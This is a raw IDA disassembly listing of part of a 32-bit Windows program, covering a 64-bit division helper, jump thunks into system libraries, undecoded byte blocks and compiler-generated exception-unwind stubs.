		div	ecx
		mov	edx, ebx
		jmp	short loc_437CC3
; ---------------------------------------------------------------------------


loc_437C82:				; CODE XREF: sub_437C60+8j
		mov	ecx, eax
		mov	ebx, [esp+8+arg_8]
		mov	edx, [esp+8+arg_4]
		mov	eax, [esp+8+arg_0]


loc_437C90:				; CODE XREF: sub_437C60+3Aj
		shr	ecx, 1
		rcr	ebx, 1
		shr	edx, 1
		rcr	eax, 1
		or	ecx, ecx
		jnz	short loc_437C90
		div	ebx
		mov	esi, eax
		mul	[esp+8+arg_C]
		mov	ecx, eax
		mov	eax, [esp+8+arg_8]
		mul	esi
		add	edx, ecx
		jb	short loc_437CBE
		cmp	edx, [esp+8+arg_4]
		ja	short loc_437CBE
		jb	short loc_437CBF
		cmp	eax, [esp+8+arg_0]
		jbe	short loc_437CBF


loc_437CBE:				; CODE XREF: sub_437C60+4Ej
					; sub_437C60+54j
		dec	esi


loc_437CBF:				; CODE XREF: sub_437C60+56j
					; sub_437C60+5Cj
		xor	edx, edx
		mov	eax, esi


loc_437CC3:				; CODE XREF: sub_437C60+20j
		pop	esi
		pop	ebx
		retn	10h
sub_437C60	endp

; ---------------------------------------------------------------------------
		db 90h
		db 0E9h, 0E3h, 8Dh
		dd 3DE97780h, 0BD778073h, 187E990h, 97E97781h, 6F778091h
		dd 809516E9h, 0E9901377h, 77809888h, 8096ABE9h,	44E99577h
		dd 0D977809Ah, 0FEE2E990h, 0E9907780h, 77809E6Eh, 8071EDE9h
		dd 4E9A177h, 25778091h,	43ADE990h, 0E990777Fh, 777E4845h
		dd 0F0D0E990h, 0E990777Fh, 777FF4D2h, 758EE990h, 0E990777Eh
		dd 77807BFDh, 9B30E990h, 0E9907780h, 7780269Bh,	25C1E990h
		dd 0E9907780h, 778113C7h

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_437D4C	proc near		; CODE XREF: ___:0043297Cp
		nop
		jmp	near ptr 77C3619Ch
sub_437D4C	endp

; ---------------------------------------------------------------------------
		db 90h
		db 0E9h
		dd 777FF01Ch, 8E53E990h, 0C47B7780h, 82A1EA9Bh,	0C1EA3B47h
		dd 7D32C36h, 9046D35Dh,	7A7C8011h, 0FA08BD57h, 673DCE3Ah
		dd 52250A71h, 3788A776h, 5D89BF87h, 0E8026AFCh,	777FD5ECh
		dd 0D835990h, 5109A4h, 0B40D83FFh, 0FF005109h, 7435E890h
		dd 0D8B777Eh, 5108B4h, 0F1E80889h, 90777E73h, 8B00D8Bh
		dd 8890051h, 511A28A1h,	0A3008B00h, 510998h, 12EE8h, 0B01D3900h
		dd 7500448Ch, 7EF8680Ch, 96E80043h, 90778158h, 0FAE859h
		dd 18680000h, 68004444h, 444314h, 0E5E8h, 8ACA100h, 45890051h
		dd 94458D94h, 0A835FF50h, 8D005108h, 8D509C45h,	8D509045h
		dd 9050A045h, 7E70D2E8h, 42106877h, 680044h, 0E8004440h
		dd 0B2h, 0A124C483h, 511A38h, 7589308Bh, 223E808Ch, 89463A75h
		dd 68A8C75h, 474C33Ah, 0F275223Ch, 75223E80h, 75894604h
		dd 3A068A8Ch, 3C0474C3h, 89F27620h, 458DD05Dh, 0E89050A4h
		dd 22D8198h, 1D045F6h, 0B70F1174h, 0EEBD445h, 76203E80h
		dd 758946D8h, 6AF5EB8Ch, 5650580Ah, 4CE85353h, 9002439Eh
		dd 0A050E850h, 4589FFFCh, 0E3E85098h, 9077801Fh, 8BEC458Bh
		dd 89098B08h, 5150884Dh, 21E8h,	0C3595900h, 0FFE8658Bh
		dd 0E8908875h, 77801FDEh

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn thunk


sub_437EBC	proc near		; CODE XREF: ___:00437B04p
		jmp	near ptr 77C21868h
sub_437EBC	endp

; ---------------------------------------------------------------------------
		db 46h,	90h, 0E9h
dword_437EC4	dd 777FCF89h, 1FCCE990h, 0DBE97780h, 9C777FAEh,	7011E990h
		dd 0E990777Eh, 77801E87h, 3000068h, 6800h, 25E80001h, 59000000h
		dd 0E990C359h, 7781577Dh, 0C3C3C033h, 7E72A3E9h, 0E990ED77h
		dd 777E72D3h, 0D46EE990h, 0E990777Fh, 777FDD80h, 816F16E9h
		dd 0E990C077h, 75C6844Bh, 8529E990h, 3E975C6h, 2575C5A1h
		dd 0C57554E9h, 0E990F075h, 75C684F8h, 0C4A02AE9h, 0E9901675h
		dd 75C53908h, 0C5F766E9h, 95E99F75h, 0C075C4DBh

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn thunk


sub_437F50	proc near		; CODE XREF: sub_419300+190p
		jmp	near ptr 76D6AC1Dh
sub_437F50	endp

; ---------------------------------------------------------------------------
		db 0A1h, 90h, 0E9h
		dd 23A8E6Ch, 3A8EB5E9h,	99E9B802h, 88023B80h, 83FFE990h
		dd 8DE9023Bh, 16023C80h, 927EE990h, 0E990023Ch,	23D8080h
		dd 807AE990h, 32E9023Eh, 0A1023E97h, 3E987BE9h,	0B9E90E02h
		dd 0DE023E9Ch, 8062E990h, 0E990023Fh, 23F8190h,	89A2E990h
		dd 0E990023Fh, 2408050h, 408332E9h, 0E9902802h,	2418044h
		dd 4183DFE9h, 0E9907902h, 2418619h, 8032E990h, 0E9900242h
		dd 243802Ch, 91BFE990h,	0F8E90243h, 1302439Ch, 801AE990h
		dd 0E9900244h, 244882Ch, 448CD6E9h, 0E9901602h,	2458008h
		dd 83AEE990h, 0E9900245h, 23A8933h, 7FF6E990h, 0F1E9023Ah
		dd 2A02397Fh, 8919E990h, 0E9900238h, 2387FE4h, 7FDEE990h
		dd 0E9900237h, 236837Bh, 367FD3E9h, 0E9909A02h,	2358AA5h
		dd 8354E990h, 10E90235h, 83023582h, 7FBAE990h, 0E990022Ch
		dd 23581FDh, 3581E1E9h,	0E990B802h, 7C4C9095h, 4C8FA8E9h
		dd 0E990C27Ch, 2357F9Ch, 348CEFE9h, 0E9900902h,	2348660h
		dd 7F8AE990h, 0E9900234h, 23388EDh, 881BE990h, 0E9900233h
		dd 23386C0h, 84F8E990h,	0E9900233h, 2338305h, 81E8E990h
		dd 0E9900233h, 2337F60h, 8C94E990h, 0E9900232h,	2328A7Ch
		dd 3286BAE9h, 0E9901102h, 23285F1h, 327F43E9h, 0E990D402h
		dd 2318D12h, 318A1EE9h,	0E990B802h, 23188D0h, 8636E990h
		dd 0E9900231h, 23182F0h, 7F1EE990h, 0E9900231h,	23088C4h
		dd 886CE990h, 0E9900230h, 23080CBh, 7F06E990h, 0E9900230h
		dd 22F8A34h, 8597E990h,	0E990022Fh, 22F7EF4h, 2E8B0AE9h
		dd 41E9BB02h, 0A6022E89h, 8660E990h, 0E990022Eh, 22E84C1h
		dd 2E7ED7E9h, 0D1E90E02h, 0AE022D7Eh, 1BA726E9h, 0E990BD00h
		dd 2467EC4h, 8F4DE990h,	0B9E90250h, 41024C7Eh, 7EB2E990h
		dd 1EE90250h, 0C0024F81h, 4F7EA7E9h, 0E9905A02h, 24E7EA0h
		dd 84AEE990h, 17E9024Dh, 83024D82h, 7E8EE990h, 0E990024Dh
		dd 24C88DEh, 8727E990h,	0E990024Ch, 24C83F4h, 8293E990h
		dd 0E9900246h, 24B89CDh, 85AFE990h, 60E9024Bh, 0AE024B82h
		dd 4B7E5FE9h, 0E990CA02h, 24A7E58h, 497E53E9h, 0E9900202h
		dd 248999Ch, 48965FE9h,	0E9907B02h, 2489369h, 91CFE990h
		dd 0E9900248h, 2487E34h, 477E2FE9h, 0E990E802h,	7C608F38h
		dd 0BD63E990h
		db 67h,	71h

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_4381DE	proc near		; CODE XREF: ___:0042DBE1p
		nop
		jmp	near ptr 71AB4FD4h
sub_4381DE	endp

; ---------------------------------------------------------------------------
		db 90h
		db 0E9h, 8Fh, 62h
		db 68h,	71h

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn thunk


sub_4381EA	proc near		; CODE XREF: sub_42DBD1+1p
		jmp	near ptr 71AB2BF4h
sub_4381EA	endp

; ---------------------------------------------------------------------------
		db 0DCh

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_4381F0	proc near		; CODE XREF: sub_42DF40+E5p
					; sub_42EF60+4Fp
		nop
		jmp	near ptr 71AB615Ah
sub_4381F0	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_4381F6	proc near		; CODE XREF: sub_42E490+9Ap
					; sub_42F040+45p ...
		nop
		jmp	near ptr 71AB428Ah
sub_4381F6	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_4381FC	proc near		; CODE XREF: sub_42F2C0+53p
					; sub_42F2C0+96p ...
		nop
		jmp	near ptr 71AB9639h
sub_4381FC	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_438202	proc near
		nop
		jmp	near ptr 71AC1028h
sub_438202	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn thunk


sub_438208	proc near		; CODE XREF: sub_42E170+71p
					; sub_42ED50+50p
		jmp	near ptr 71AB2DC0h
sub_438208	endp

; ---------------------------------------------------------------------------
		db 0EBh, 90h, 0E9h
		dd 7167A9ACh

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_438214	proc near
		nop
		jmp	near ptr 71AB88D3h
sub_438214	endp

; ---------------------------------------------------------------------------
		db 90h
		db 0E9h
		dd 7167A946h

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_438220	proc near		; CODE XREF: sub_42E870+187p
		nop
		jmp	near ptr 71AB951Eh
sub_438220	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn thunk


sub_438226	proc near
		jmp	near ptr 71AB3E00h
sub_438226	endp

; ---------------------------------------------------------------------------
		db 13h

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_43822C	proc near		; CODE XREF: sub_42DB00+B1p
		nop
		jmp	near ptr 71AB2B66h
sub_43822C	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn thunk


sub_438232	proc near		; CODE XREF: ___:0042DC2Fp
					; sub_42E870+152p
		jmp	near ptr 71AB3B91h
sub_438232	endp

; ---------------------------------------------------------------------------
		db 0Ch

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn thunk


sub_438238	proc near
		jmp	near ptr 71AB406Ah
sub_438238	endp

; ---------------------------------------------------------------------------
		db 0C5h, 0E9h, 0E5h
; ---------------------------------------------------------------------------
		shl	dword ptr [edi+71h], 0E6h

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_438244	proc near		; CODE XREF: sub_42DA80+10p
		nop
		jmp	near ptr 71AB664Dh
sub_438244	endp

; ---------------------------------------------------------------------------
		db 90h
		db 0E9h
		dd 7167CE78h

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn thunk


sub_438250	proc near		; CODE XREF: sub_434BA0+Bp
		jmp	near ptr 71AB94DCh
sub_438250	endp

; ---------------------------------------------------------------------------
		db 0EDh

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn thunk


sub_438256	proc near		; CODE XREF: sub_41A7D0+92p
					; sub_41A990+CAp ...
		jmp	near ptr 71AB4544h
sub_438256	endp

; ---------------------------------------------------------------------------
		db 0B3h
		db 90h
		db 0E9h, 0EEh, 88h
; ---------------------------------------------------------------------------
		push	0B1E99071h
		retn	7167h
; ---------------------------------------------------------------------------
		db 90h
		db 0E9h, 52h, 0A9h
		dd 9CE97167h, 467167AAh, 0A9EFE990h
		db 67h,	71h

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn thunk


sub_43827A	proc near
		jmp	near ptr 71AB3EA1h
sub_43827A	endp

; ---------------------------------------------------------------------------
		db 0FFh
		dd 6804E4E9h, 0E990B871h, 7167C1FDh

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_43828C	proc near		; CODE XREF: sub_42DB00+53p
					; sub_42DB00+C3p
		nop
		jmp	near ptr 71ABE6EBh
sub_43828C	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_438292	proc near		; CODE XREF: sub_42F2C0+4Ap
		nop
		jmp	near ptr 71AC0BDEh
sub_438292	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_438298	proc near
		nop
		jmp	near ptr 71AB2A5Eh
sub_438298	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_43829E	proc near		; CODE XREF: ___:0041C2B7p
					; ___:0041C2CCp
		nop
		jmp	near ptr 71B2578Ch
sub_43829E	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_4382A4	proc near		; CODE XREF: ___:0041C40Dp
					; ___:0041C42Fp
		nop
		jmp	near ptr 71B25099h
sub_4382A4	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn thunk


sub_4382AA	proc near		; CODE XREF: ___:00426390p
		jmp	near ptr 71B2517Fh
sub_4382AA	endp

; ---------------------------------------------------------------------------
		db 0E3h

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_4382B0	proc near		; CODE XREF: sub_41FF90+B4p
		nop
		jmp	near ptr 76BF215Ah
sub_4382B0	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_4382B6	proc near		; CODE XREF: sub_41FF90+9Bp
		nop
		jmp	near ptr 76BF1F1Ch
sub_4382B6	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn thunk


sub_4382BC	proc near		; CODE XREF: sub_41FF90+21p
		jmp	near ptr 76BF3A9Ah
sub_4382BC	endp

; ---------------------------------------------------------------------------
		db 0Ch

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_4382C2	proc near		; CODE XREF: ___:0041B284p
		nop
		jmp	near ptr 76F36C5Bh
sub_4382C2	endp

; ---------------------------------------------------------------------------
		db 90h
		db 0E9h, 80h, 0DFh
dword_4382CC	dd 0E9907780h, 7780DE51h, 0DE96E990h, 0E9907780h, 7780E040h
		dd 2C4h	dup(0CCCCCCCCh), 0FB988D8Dh, 2BE9FFFFh,	8DFFFC84h
		dd 0FFFBC88Dh, 8420E9FFh, 8D8DFFFCh, 0FFFFFBB0h, 0FC8415E9h
		dd 0E08D8DFFh, 0E9FFFFFBh, 0FFFC840Ah, 0FB94858Bh, 0E083FFFFh
		dd 0FC08501h, 884h, 44D8B00h, 0FC83F1E9h
; ---------------------------------------------------------------------------
		inc	ebx

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


SEH_403530	proc near		; DATA XREF: sub_403530+2o
		mov	eax, offset dword_43F470
		jmp	sub_437AB8
SEH_403530	endp

; ---------------------------------------------------------------------------
		db 20h dup(0CCh)
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 9
		jmp	sub_401AE6
; ---------------------------------------------------------------------------


loc_438E6B:				; DATA XREF: ___:0043F4ECo
		mov	ecx, [ebp-10h]
		add	ecx, 52h
		jmp	sub_401AE6
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 9Bh
		jmp	sub_401AE6
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 0E4h
		jmp	sub_401AE6
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 12Dh
		jmp	sub_401AE6
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 176h
		jmp	sub_401AE6
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 1BFh
		jmp	sub_401AE6
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 208h
		jmp	sub_401AE6
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 251h
		jmp	sub_401AE6
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 29Ah
		jmp	sub_401AE6
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 2E3h
		jmp	sub_401AE6
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 32Ch
		jmp	sub_401AE6
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 375h
		jmp	sub_401AE6
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 3BEh
		jmp	sub_401AE6
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 407h
		jmp	sub_401AE6
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 450h
		jmp	sub_401AE6
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 499h
		jmp	sub_401AE6
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 4E2h
		jmp	sub_401AE6
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 52Bh
		jmp	sub_401AE6
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 574h
		jmp	sub_401AE6
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 5BDh
		jmp	sub_401AE6
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 606h
		jmp	sub_401AE6
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 64Fh
		jmp	sub_401AE6
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 698h
		jmp	sub_401AE6
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 6E1h
		jmp	sub_401AE6
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 72Ah
		jmp	sub_401AE6
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 773h
		jmp	sub_401AE6
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 7BCh
		jmp	sub_401AE6
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 805h
		jmp	sub_401AE6
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 84Eh
		jmp	sub_401AE6
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 897h
		jmp	sub_401AE6
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 8E0h
		jmp	sub_401AE6
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 929h
		jmp	sub_401AE6
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 972h
		jmp	sub_401AE6
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 9BBh
		jmp	sub_401AE6
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 0A04h
		jmp	sub_401AE6
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 0A4Dh
		jmp	sub_401AE6
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 0A96h
		jmp	sub_401AE6
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 0ADFh
		jmp	sub_401AE6
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 0B28h
		jmp	sub_401AE6
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 0B71h
		jmp	sub_401023
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 0B9Fh
		jmp	sub_401023
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 0BCDh
		jmp	sub_401023
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 0BFBh
		jmp	sub_401023
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 0C29h
		jmp	sub_401023
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 0C57h
		jmp	sub_401023
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 0C85h
		jmp	sub_401023
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 0CB3h
		jmp	sub_401023
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 0CE1h
		jmp	sub_401023
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 0D0Fh
		jmp	sub_401023
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 0D3Dh
		jmp	sub_401023
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 0D6Bh
		jmp	sub_401023
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 0D99h
		jmp	sub_401023
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 0DC7h
		jmp	sub_401023
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 0DF5h
		jmp	sub_401023
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 0E23h
		jmp	sub_401023
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 0E51h
		jmp	sub_401023
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 0E7Fh
		jmp	sub_40208B
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 10C7h
		jmp	sub_40208B
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 130Fh
		jmp	sub_40208B
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 1557h
		jmp	sub_40208B

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


SEH_403700	proc near		; DATA XREF: sub_403700+2o
		mov	eax, offset dword_43F4C0
		jmp	sub_437AB8
SEH_403700	endp

; ---------------------------------------------------------------------------
		db 0D6h	dup(0CCh)
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		jmp	sub_401226
; ---------------------------------------------------------------------------


loc_439298:				; DATA XREF: ___:0043F72Co
		mov	ecx, [ebp-10h]
		add	ecx, 1Eh
		jmp	sub_401226

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


SEH_403C50	proc near		; DATA XREF: sub_403C50+2o
		mov	eax, offset dword_43F700
		jmp	sub_437AB8
SEH_403C50	endp

; ---------------------------------------------------------------------------
		db 13h dup(0CCh)
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		jmp	sub_401226
; ---------------------------------------------------------------------------


loc_4392C8:				; DATA XREF: ___:0043F764o
		mov	ecx, [ebp-10h]
		add	ecx, 1Eh
		jmp	sub_401226

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


SEH_403CD0	proc near		; DATA XREF: sub_403CD0+2o
		mov	eax, offset dword_43F738
		jmp	sub_437AB8
SEH_403CD0	endp

; ---------------------------------------------------------------------------
		db 13h dup(0CCh)
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		jmp	sub_401226

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


SEH_403D50	proc near		; DATA XREF: sub_403D50+2o
		mov	eax, offset dword_43F770
		jmp	sub_437AB8
SEH_403D50	endp

; ---------------------------------------------------------------------------
		align 10h
		mov	ecx, [ebp-10h]
		jmp	sub_401AE6
; ---------------------------------------------------------------------------


loc_439318:				; DATA XREF: ___:0043F7CCo
		mov	ecx, [ebp-10h]
		add	ecx, 49h
		jmp	sub_401AE6
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 92h
		jmp	sub_401AE6
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 0DBh
		jmp	sub_401AE6
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 124h
		jmp	sub_401AE6
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 16Dh
		jmp	sub_401AE6
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 1B6h
		jmp	sub_401AE6

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


SEH_403DC0	proc near		; DATA XREF: sub_403DC0+2o
		mov	eax, offset dword_43F7A0
		jmp	sub_437AB8
SEH_403DC0	endp

; ---------------------------------------------------------------------------
		db 1Dh dup(0CCh)
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		jmp	sub_401AE6
; ---------------------------------------------------------------------------


loc_439398:				; DATA XREF: ___:0043F82Co
		mov	ecx, [ebp-10h]
		add	ecx, 49h
		jmp	sub_401AE6
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 92h
		jmp	sub_401AE6
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 0DBh
		jmp	sub_401AE6
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 124h
		jmp	sub_401AE6
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 16Dh
		jmp	sub_401AE6
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 1B6h
		jmp	sub_401AE6

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


SEH_403EA0	proc near		; DATA XREF: sub_403EA0+2o
		mov	eax, offset dword_43F800
		jmp	sub_437AB8
SEH_403EA0	endp

; ---------------------------------------------------------------------------
		db 1Dh dup(0CCh)
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-3Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-3Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-3Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-3Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-3Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-3Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-3Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-3Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-3Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-3Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-3Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-3Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-3Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-3Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-54h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-3Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-24h]
		jmp	sub_401226

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


SEH_403F80	proc near		; DATA XREF: sub_403F80+2o
		mov	eax, offset dword_43F860
		jmp	sub_437AB8
SEH_403F80	endp

; ---------------------------------------------------------------------------
		db 2Eh dup(0CCh)
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-6Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-54h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-6Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-54h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-54h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-54h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-54h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-84h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-54h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-24h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-3Ch]
		jmp	sub_401226

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


SEH_404600	proc near		; DATA XREF: sub_404600+2o
		mov	eax, offset dword_43F918
		jmp	sub_437AB8
SEH_404600	endp

; ---------------------------------------------------------------------------
		db 1Bh dup(0CCh)
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-14Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------


loc_43955B:				; DATA XREF: ___:0043F9CCo
		lea	ecx, [ebp-100h]
		jmp	sub_401226
; ---------------------------------------------------------------------------


loc_439566:				; DATA XREF: ___:0043F9D4o
		lea	ecx, [ebp-164h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-164h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-14Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-164h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-14Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-11Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-164h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-11Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-11Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
